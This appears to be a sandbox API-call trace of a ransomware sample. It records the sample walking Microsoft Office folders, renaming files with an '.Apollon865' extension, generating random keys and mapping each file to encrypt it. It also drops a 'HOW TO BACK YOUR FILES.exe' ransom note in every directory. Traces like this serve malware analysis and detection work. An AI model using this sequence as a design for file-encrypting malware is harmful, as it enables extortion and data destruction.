	[0073.020] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x439816f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x439816f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0073.021] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.021] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.021] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML.Apollon865") returned 83
	[0073.021] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.023] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=91618) returned 1
	[0073.023] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3590020
	[0073.023] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.023] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.023] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.025] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.025] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.025] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x168f0, lpName=0x0) returned 0x118
	[0073.028] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x168f0) returned 0x120000
	[0073.033] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.034] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.034] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.034] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0073.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0073.034] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.034] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.035] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.035] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0073.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0073.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.035] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0073.036] CloseHandle (hObject=0x118) returned 1
	[0073.036] CloseHandle (hObject=0x150) returned 1
	[0073.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.036] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3590020 | out: hHeap=0x580000) returned 1
	[0073.037] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x439816f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x439816f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0073.037] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0073.037] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x439816f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x439816f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0073.037] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0073.037] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b70
	[0073.037] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\MEDIA", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\MEDIA"
	[0073.037] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0073.037] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0073.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA") returned 39
	[0073.037] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\MEDIA" | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\MEDIA"
	[0073.037] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0073.037] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0073.043] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0073.043] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x439a7850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x439a7850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0073.043] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.044] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.044] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14"
	[0073.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd58 | out: hHeap=0x580000) returned 1
	[0073.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0073.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned 48
	[0073.044] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14"
	[0073.044] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0073.044] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\office14\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0073.059] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0073.059] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x439cd9b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x439cd9b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0073.059] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.059] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.059] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES"
	[0073.059] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0073.059] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0073.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned 54
	[0073.059] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES"
	[0073.059] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0073.060] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0073.065] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0073.065] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x439f3b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x439f3b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0073.066] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.066] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.069] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS"
	[0073.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591440 | out: hHeap=0x580000) returned 1
	[0073.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0073.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned 56
	[0073.069] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS"
	[0073.069] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0073.069] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0073.082] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0073.082] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x43a19c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43a19c70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0073.083] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.083] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.093] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP"
	[0073.093] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0073.093] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0073.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned 57
	[0073.093] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP"
	[0073.093] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0073.094] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0073.101] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0073.101] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x43a3fdd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43a3fdd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0073.102] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.102] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.105] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033"
	[0073.105] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.105] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0073.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033") returned 53
	[0073.105] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033"
	[0073.105] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0073.105] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0073.109] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0073.110] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43a65f30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43a65f30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0073.110] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.110] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.110] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10"
	[0073.110] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0073.110] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0073.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned 48
	[0073.110] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10"
	[0073.110] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0073.110] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0073.116] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0073.116] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43a65f30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43a65f30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0073.117] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.117] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.229] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033"
	[0073.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0073.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033") returned 53
	[0073.229] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" | out: lpString1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033"
	[0073.229] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0073.229] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0073.233] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0073.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43b96a30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43b96a30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0073.233] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.234] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.234] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14"
	[0073.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0073.234] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0073.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned 52
	[0073.234] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: lpString1="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14"
	[0073.234] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0073.234] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\document themes 14\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0073.243] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
